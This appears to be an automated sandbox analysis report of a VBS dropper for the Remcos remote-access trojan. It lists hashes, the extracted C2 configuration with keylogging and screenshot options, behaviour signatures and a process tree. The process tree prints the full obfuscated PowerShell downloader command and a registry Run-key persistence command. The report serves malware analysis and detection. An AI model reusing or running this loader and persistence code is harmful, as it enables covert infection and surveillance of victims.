Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-10-2024 01:40

General

  • Target

    6ec4d17c4b6ed9a5f6095cf7ea6996fb1b2413b56868ef2841864c526bcaf8ef.vbs

  • Size

    11KB

  • MD5

    cc0e7dfe16fd08c66618813f953bb879

  • SHA1

    937e890a06805c035807b202c3e403b222f11427

  • SHA256

    6ec4d17c4b6ed9a5f6095cf7ea6996fb1b2413b56868ef2841864c526bcaf8ef

  • SHA512

    34d2cb946a4f6dae0cd5b93a990bb13638959c304eb79d5ab442bd86692349d021c4cf225b0be321f63892d51023beb6097ff18f5280e0d28d95c4c1ada53058

  • SSDEEP

    192:i3ICKmusCg05C6FLf7ifqMtgQoVcoNorNAJUgZ4n8:vEQ7ifqMzo0OW8

Malware Config

Extracted

Family

remcos

Botnet

PeeWe8646

C2

www.autoshausamsachsenwald.de:6698

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Weepee83472-FSSJ2L

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 41 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6ec4d17c4b6ed9a5f6095cf7ea6996fb1b2413b56868ef2841864c526bcaf8ef.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sygehuse Rappenskralder Sandwichs Gliridae tonsillitis Bolsjevikkens Spejlmonogrammers #>;$Gasradiatorernes='Lighedens';<#Legitimationers Ink Pedalian Bonzery nonnative Forjoges Allods #>;$Athwarthawse=$host.PrivateData;If ($Athwarthawse) {$Likableness++;}function henaandende($Doohinkus){$Tabira=$Lommeregnere+$Doohinkus.Length-$Likableness;for( $relativpronominernes=2;$relativpronominernes -lt $Tabira;$relativpronominernes+=3){$Toolsheds='Absenteres';$Bide+=$Doohinkus[$relativpronominernes];}$Bide;}function Webbank($Disintegrator91){ & ($Kilovar) ($Disintegrator91);}$Wrinklet=henaandende 'diM otrzIni lFalPaaGi/Ju5D .P,0 F Ku( aW Ni,enW d roSuwTrsRn P,N,pT e i1 g0Ko.Tr0Pe;Si ,pWUniH nVa6L,4Ru;Tr S.xGa6Br4,t;Re MorAnv.a:Zo1Or2Pr1Va.Py0 B).t BiGSueU c .kR o,a/Fo2 k0 l1 S0Pa0Ve1Es0 a1 m SuFOniS,rlgeRnfReoPhxDo/R 1Sy2Lu1Fa.D,0ma ';$Underhandle=henaandende ' ,uUnSM EStRN -.laFlGVee LN oT , ';$undercrossing=henaandende 'OshAft StKlp,esF :S /re/Liw DwSuwFy. MaC,uThtfooH h daSpu RsOz-O c Fn F. RdJeeLe/B oanlSed o/ RmR oU,bsaiGelTieBl/PrB eaKanS a.auI s TiUnc I.TiqBaxCodBg ';$Blindtablets122=henaandende 'Ur>U ';$Kilovar=henaandende 'GlI BeJeXP ';$Amtsborgmester='asyl';$Kimm='\prefectorial.Twa';Webbank (henaandende 'Co$Ceg el.uoAkbMua l :HeTAniMad TsXsiI nF dEdsWatFri elP.lTee urNe=A $une anKiv P:ScaJup LpcadPraEntUraAn+H $RaKOciRam mmU. ');Webbank (henaandende ' a$U g rl Wo,abZoaLylS :BeTCoeP,kTesRatBikHerPri FtVdi,nk i=Ob$Meu nDedLaeSlrGlc ,r ,op,sAusUni TnExgIm. WsStp Pl TiCotl (Vo$MaBTilDiiHyn,rdLat.ma .b fl leFit.asDi1Ba2Be2 I).n ');Webbank (henaandende '.a[MiNLoeF.t G.KaSineTerLavKei ,cS eOvPS,o .iNon tn M iaAnn uaDogSte Arty]va: G:P SO eTocPruanrHui Jt .yFoP Dr o PtKio IcUnoFolTo .= P Dy[ sNEreCotUn.KoS Ee ycsputrr TiKntDoyF PTerL oRotAuoSkcH oImlKoTDey epPreSa] S: .:SaTMalR s v1 a2 . ');$undercrossing=$Tekstkritik[0];$relativpronominernesnterlaces=(henaandende ' ,$MiGPaL uo,fBI A .l A:krTFrRNekIsKUnr eOnogSkEMyn Ce a=VinPueSiwAf- OO RB ojR eUlC,atLo toS .YemS RT E M ,. GnSte At .. qw oEPab ncixL BIFeEInnBhT r ');Webbank ($relativpronominernesnterlaces);Webbank (henaandende 'R,$UnTBrr vkOrkK.rNeoCogVie ,n AeSk. lHCae Da rdH eSar sFl[Tr$noUDrnM d eW r hhTraDon adSolHieH ] e=la$KaWF,r yi dn,hkFalV.eSatT. ');$Affaldspriserne=henaandende ' $SaTShr .kudkSpr oVeg,eeSen oe n.M DBro Sws,nPal toCoa.nd.rFHeiCal ae S(Da$JuuU nTad,oe lr CcGer Do s ssOpiKonDegpi,Af$.fP,ueFonW n .aIdt.ii Us Ue Bc ,t eLsdMi)G ';$Pennatisected=$Tidsindstiller;Webbank (henaandende ' ,$V,gChLO.O SbM,a l m:DitDoRAtaSlA dB,rVoEKoN.eSDiEViR Es o=An( GT AeMeSK.TOr- p AVaTThH o De$FoPHae jnO NSpa,iTS iDaSPeEM.c PtTieTaDSe)Re ');while (!$Traadrensers) {Webbank (henaandende 'Ka$ungMilSoo bP,a.klUn:PeSMejSplOvls.n MdFae nrR,eBesC.=,a$ ht KrEjuU.eOp ') ;Webbank $Affaldspriserne;Webbank (henaandende ' ,S .t.ka Or OtL.-GeSKal.eeApeCopRe Ko4 A ');Webbank (henaandende ' $FlgU lDroTrbI ac l :WiTTrr TaS aMudgirAveStnSpsSleByrMisWi= e( KT,ee os.pt n-BaP haC tVuhUs Fr$ P ge rnScn,oa Ct aiBesIveBec Pt SeStdPa)Bi ') ;Webbank (henaandende 'B $ ugPrlFioS b PaGrlAn:LeDSkeTen.us uiE tKro Fm ee FtSlrG.iMisGakK e =Un$Peg,al noInb OaPalr :FiD UeAkpS.t Ch,eiPrnRegUd+Su+ n%Ma$ iTveePikO sBat GkSyrF i.rt diAnk l. ScJuo AudinDut.e ') ;$undercrossing=$Tekstkritik[$Densitometriske];}$Forsire=308882;$Barrikaderes=29015;Webbank (henaandende ' $Brg ,lMioAkbElaDelRe: BSIntFinRhgSpeU.tN s.i E.=Bf XaGInetrtPh-KaC aoShnIntT e anBat,g Sp$ RPKeeAknManStaSkt.eistsUde ,cSltTre Nd.n ');Webbank (henaandende 'Ch$N g FlKaoSkbFla,alUf:StB.ir .u vtL.tDooGrtC,rSikD.kngoPhrSnt feL.nSae e r=Co Fo[KaSC.y msSotKjeJem.o. aCSuoR.nBrvSmeBerJut E]He: E:SaFInrS o om oBF.aFosW eW.6F 4InS tUnrJei lnAkgVo( M$ScSGetHonW gFaeL.t ,sEr)Ji ');Webbank (henaandende ' .$T gSplOvoB b OaBalk : oS RmluiFitMih AiKanKngBe .i=Un To[SpSHuyA sTot teU,m T.S TKoe axSytHy.daE lnTucC.oNud,ai Fn sgMa]Co:Fo:StA rSTrC DITaIni.TeGCoeOrtAnS etirrM i InS g W(Pr$.pBOpr vuMutSitInoydt rOukKykg,oc,r Ctpae.enFieKu)Af ');Webbank (henaandende 'Pe$ChgGrlTioTabU aB lP :FaFCalKnlDeeVesAft TiMulFol iTodAlsExmbanCodF =Jr$P,SCemHeiAntBeh IiSan ,gTw.Sts muB.bKesR,tSur,iiVin ,g S(R $,pF oH.r is i rOieF,, .$ UB EaIor SrBli kB aUndRae FrM e Rs )F, ');Webbank $Fllestillidsmnd;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3352
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Sygehuse Rappenskralder Sandwichs Gliridae tonsillitis Bolsjevikkens Spejlmonogrammers #>;$Gasradiatorernes='Lighedens';<#Legitimationers Ink Pedalian Bonzery nonnative Forjoges Allods #>;$Athwarthawse=$host.PrivateData;If ($Athwarthawse) {$Likableness++;}function henaandende($Doohinkus){$Tabira=$Lommeregnere+$Doohinkus.Length-$Likableness;for( $relativpronominernes=2;$relativpronominernes -lt $Tabira;$relativpronominernes+=3){$Toolsheds='Absenteres';$Bide+=$Doohinkus[$relativpronominernes];}$Bide;}function Webbank($Disintegrator91){ & ($Kilovar) ($Disintegrator91);}$Wrinklet=henaandende 'diM otrzIni lFalPaaGi/Ju5D .P,0 F Ku( aW Ni,enW d roSuwTrsRn P,N,pT e i1 g0Ko.Tr0Pe;Si ,pWUniH nVa6L,4Ru;Tr S.xGa6Br4,t;Re MorAnv.a:Zo1Or2Pr1Va.Py0 B).t BiGSueU c .kR o,a/Fo2 k0 l1 S0Pa0Ve1Es0 a1 m SuFOniS,rlgeRnfReoPhxDo/R 1Sy2Lu1Fa.D,0ma ';$Underhandle=henaandende ' ,uUnSM EStRN -.laFlGVee LN oT , ';$undercrossing=henaandende 'OshAft StKlp,esF :S /re/Liw DwSuwFy. MaC,uThtfooH h daSpu RsOz-O c Fn F. RdJeeLe/B oanlSed o/ RmR oU,bsaiGelTieBl/PrB eaKanS a.auI s TiUnc I.TiqBaxCodBg ';$Blindtablets122=henaandende 'Ur>U ';$Kilovar=henaandende 'GlI BeJeXP ';$Amtsborgmester='asyl';$Kimm='\prefectorial.Twa';Webbank (henaandende 'Co$Ceg el.uoAkbMua l :HeTAniMad TsXsiI nF dEdsWatFri elP.lTee urNe=A $une anKiv P:ScaJup LpcadPraEntUraAn+H $RaKOciRam mmU. ');Webbank (henaandende ' a$U g rl Wo,abZoaLylS :BeTCoeP,kTesRatBikHerPri FtVdi,nk i=Ob$Meu nDedLaeSlrGlc ,r ,op,sAusUni TnExgIm. WsStp Pl TiCotl (Vo$MaBTilDiiHyn,rdLat.ma .b fl leFit.asDi1Ba2Be2 I).n ');Webbank (henaandende '.a[MiNLoeF.t G.KaSineTerLavKei ,cS eOvPS,o .iNon tn M iaAnn uaDogSte Arty]va: G:P SO eTocPruanrHui Jt .yFoP Dr o PtKio IcUnoFolTo .= P Dy[ sNEreCotUn.KoS Ee ycsputrr TiKntDoyF PTerL oRotAuoSkcH oImlKoTDey epPreSa] S: .:SaTMalR s v1 a2 . ');$undercrossing=$Tekstkritik[0];$relativpronominernesnterlaces=(henaandende ' ,$MiGPaL uo,fBI A .l A:krTFrRNekIsKUnr eOnogSkEMyn Ce a=VinPueSiwAf- OO RB ojR eUlC,atLo toS .YemS RT E M ,. GnSte At .. qw oEPab ncixL BIFeEInnBhT r ');Webbank ($relativpronominernesnterlaces);Webbank (henaandende 'R,$UnTBrr vkOrkK.rNeoCogVie ,n AeSk. lHCae Da rdH eSar sFl[Tr$noUDrnM d eW r hhTraDon adSolHieH ] e=la$KaWF,r yi dn,hkFalV.eSatT. ');$Affaldspriserne=henaandende ' $SaTShr .kudkSpr oVeg,eeSen oe n.M DBro Sws,nPal toCoa.nd.rFHeiCal ae S(Da$JuuU nTad,oe lr CcGer Do s ssOpiKonDegpi,Af$.fP,ueFonW n .aIdt.ii Us Ue Bc ,t eLsdMi)G ';$Pennatisected=$Tidsindstiller;Webbank (henaandende ' ,$V,gChLO.O SbM,a l m:DitDoRAtaSlA dB,rVoEKoN.eSDiEViR Es o=An( GT AeMeSK.TOr- p AVaTThH o De$FoPHae jnO NSpa,iTS iDaSPeEM.c PtTieTaDSe)Re ');while (!$Traadrensers) {Webbank (henaandende 'Ka$ungMilSoo bP,a.klUn:PeSMejSplOvls.n MdFae nrR,eBesC.=,a$ ht KrEjuU.eOp ') ;Webbank $Affaldspriserne;Webbank (henaandende ' ,S .t.ka Or OtL.-GeSKal.eeApeCopRe Ko4 A ');Webbank (henaandende ' $FlgU lDroTrbI ac l :WiTTrr TaS aMudgirAveStnSpsSleByrMisWi= e( KT,ee os.pt n-BaP haC tVuhUs Fr$ P ge rnScn,oa Ct aiBesIveBec Pt SeStdPa)Bi ') ;Webbank (henaandende 'B $ ugPrlFioS b PaGrlAn:LeDSkeTen.us uiE tKro Fm ee FtSlrG.iMisGakK e =Un$Peg,al noInb OaPalr :FiD UeAkpS.t Ch,eiPrnRegUd+Su+ n%Ma$ iTveePikO sBat GkSyrF i.rt diAnk l. ScJuo AudinDut.e ') ;$undercrossing=$Tekstkritik[$Densitometriske];}$Forsire=308882;$Barrikaderes=29015;Webbank (henaandende ' $Brg ,lMioAkbElaDelRe: BSIntFinRhgSpeU.tN s.i E.=Bf XaGInetrtPh-KaC aoShnIntT e anBat,g Sp$ RPKeeAknManStaSkt.eistsUde ,cSltTre Nd.n ');Webbank (henaandende 'Ch$N g FlKaoSkbFla,alUf:StB.ir .u vtL.tDooGrtC,rSikD.kngoPhrSnt feL.nSae e r=Co Fo[KaSC.y msSotKjeJem.o. aCSuoR.nBrvSmeBerJut E]He: E:SaFInrS o om oBF.aFosW eW.6F 4InS tUnrJei lnAkgVo( M$ScSGetHonW gFaeL.t ,sEr)Ji ');Webbank (henaandende ' .$T gSplOvoB b OaBalk : oS RmluiFitMih AiKanKngBe .i=Un To[SpSHuyA sTot teU,m T.S TKoe axSytHy.daE lnTucC.oNud,ai Fn sgMa]Co:Fo:StA rSTrC DITaIni.TeGCoeOrtAnS etirrM i InS g W(Pr$.pBOpr vuMutSitInoydt rOukKykg,oc,r Ctpae.enFieKu)Af ');Webbank (henaandende 'Pe$ChgGrlTioTabU aB lP :FaFCalKnlDeeVesAft TiMulFol iTodAlsExmbanCodF =Jr$P,SCemHeiAntBeh IiSan ,gTw.Sts muB.bKesR,tSur,iiVin ,g S(R $,pF oH.r is i rOieF,, .$ UB EaIor SrBli kB aUndRae FrM e Rs )F, ');Webbank $Fllestillidsmnd;"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of NtCreateThreadExHideFromDebugger
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Zanjero" /t REG_EXPAND_SZ /d "%Kuls110% -windowstyle 1 $Baghuse=(gp -Path 'HKCU:\Software\Datafirmas\').blokhvl;%Kuls110% ($Baghuse)"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2936
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Zanjero" /t REG_EXPAND_SZ /d "%Kuls110% -windowstyle 1 $Baghuse=(gp -Path 'HKCU:\Software\Datafirmas\').blokhvl;%Kuls110% ($Baghuse)"
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:1520

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    d4ff23c124ae23955d34ae2a7306099a

    SHA1

    b814e3331a09a27acfcd114d0c8fcb07957940a3

    SHA256

    1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

    SHA512

    f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fu5idrqv.kkb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\prefectorial.Twa

    Filesize

    439KB

    MD5

    877ad64824efe0b9c09cf1b5ec61df62

    SHA1

    95fcbcc088e47bce6afae1458f5eec768eb87740

    SHA256

    6622db47173128823c886ab3db72b7bf99df9e4f5cf2c6d85e17da4177892622

    SHA512

    206af51df2505e4d4e126c8c6f62a457f0d7c083da45c16ef73fc4088b311d70f5f8abbe29259f5d36e0328f5574c149aa882366f0dcc54d5e56d3b4a08e61f0

  • memory/3352-0-0x00007FFDCF483000-0x00007FFDCF485000-memory.dmp

    Filesize

    8KB

  • memory/3352-6-0x000002429CF30000-0x000002429CF52000-memory.dmp

    Filesize

    136KB

  • memory/3352-11-0x00007FFDCF480000-0x00007FFDCFF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3352-12-0x00007FFDCF480000-0x00007FFDCFF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3352-15-0x00007FFDCF480000-0x00007FFDCFF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3352-16-0x00007FFDCF480000-0x00007FFDCFF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3352-19-0x00007FFDCF480000-0x00007FFDCFF41000-memory.dmp

    Filesize

    10.8MB

  • memory/3412-24-0x0000000004F40000-0x0000000004FA6000-memory.dmp

    Filesize

    408KB

  • memory/3412-38-0x0000000007240000-0x00000000078BA000-memory.dmp

    Filesize

    6.5MB

  • memory/3412-22-0x0000000004C30000-0x0000000004C52000-memory.dmp

    Filesize

    136KB

  • memory/3412-34-0x0000000005730000-0x0000000005A84000-memory.dmp

    Filesize

    3.3MB

  • memory/3412-21-0x0000000005100000-0x0000000005728000-memory.dmp

    Filesize

    6.2MB

  • memory/3412-36-0x0000000005C90000-0x0000000005CAE000-memory.dmp

    Filesize

    120KB

  • memory/3412-37-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

    Filesize

    304KB

  • memory/3412-23-0x0000000004D60000-0x0000000004DC6000-memory.dmp

    Filesize

    408KB

  • memory/3412-39-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

    Filesize

    104KB

  • memory/3412-40-0x0000000006F00000-0x0000000006F96000-memory.dmp

    Filesize

    600KB

  • memory/3412-41-0x0000000006EA0000-0x0000000006EC2000-memory.dmp

    Filesize

    136KB

  • memory/3412-42-0x0000000007E70000-0x0000000008414000-memory.dmp

    Filesize

    5.6MB

  • memory/3412-20-0x00000000022E0000-0x0000000002316000-memory.dmp

    Filesize

    216KB

  • memory/3412-44-0x0000000008420000-0x000000000B3A3000-memory.dmp

    Filesize

    47.5MB

  • memory/3412-48-0x0000000024AC0000-0x0000000025D14000-memory.dmp

    Filesize

    18.3MB